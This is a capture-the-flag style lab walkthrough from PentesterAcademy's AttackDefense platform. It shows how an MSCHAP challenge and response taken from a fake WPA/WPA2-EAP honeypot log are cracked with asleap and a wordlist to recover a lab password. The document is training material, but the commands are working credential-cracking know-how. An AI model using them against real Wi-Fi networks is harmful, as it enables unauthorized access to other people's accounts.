
ATTACK
DEFENSE
by PentesterAcademy

Name	WPA/WPA2 PEAP Cracking
URL	https://www.attackdefense.com/challengedetails?cid=43
Type	Cracking : Wi-Fi Networks

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: A log file given from a fake WPA/WPA2-EAP honeypot. Check the contents of the file.

Command: cat log

```
student@attackdefense:~$ cat log
mschap: Wed Jul 27 05:29:11 2011

        username: SecurityTube
        challenge: c9:db:48:a9:7b:0e:e9:04
        response: bb:c9:cf:16:27:bc:ee:16:7e:21:3a:59:4c:1c:97:d1:25:10:af:d7:81:6e:88:87
```

Username is SecurityTube. The challenge and response are also given.

Step 2: Asleap can be used to crack it.

Command: asleap -C c9:db:48:a9:7b:0e:e9:04 -R bb:c9:cf:16:27:bc:ee:16:7e:21:3a:59:4c:1c:97:d1:25:10:af:d7:81:6e:88:87 -W 1000000-password-seclists.txt

```
student@attackdefense:~$ asleap -C c9:db:48:a9:7b:0e:e9:04 -R bb:c9:cf:16:27:bc:ee:16:
0-password-seclists.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "1000000-password-seclists.txt".
        hash bytes:         f37e
        NT hash:            b486eb4a83bea2497df401405ba8f37e
        password:           demo12345
```

Flag: demo12345

References:

1. Aircrack-ng (https://www.aircrack-ng.org/)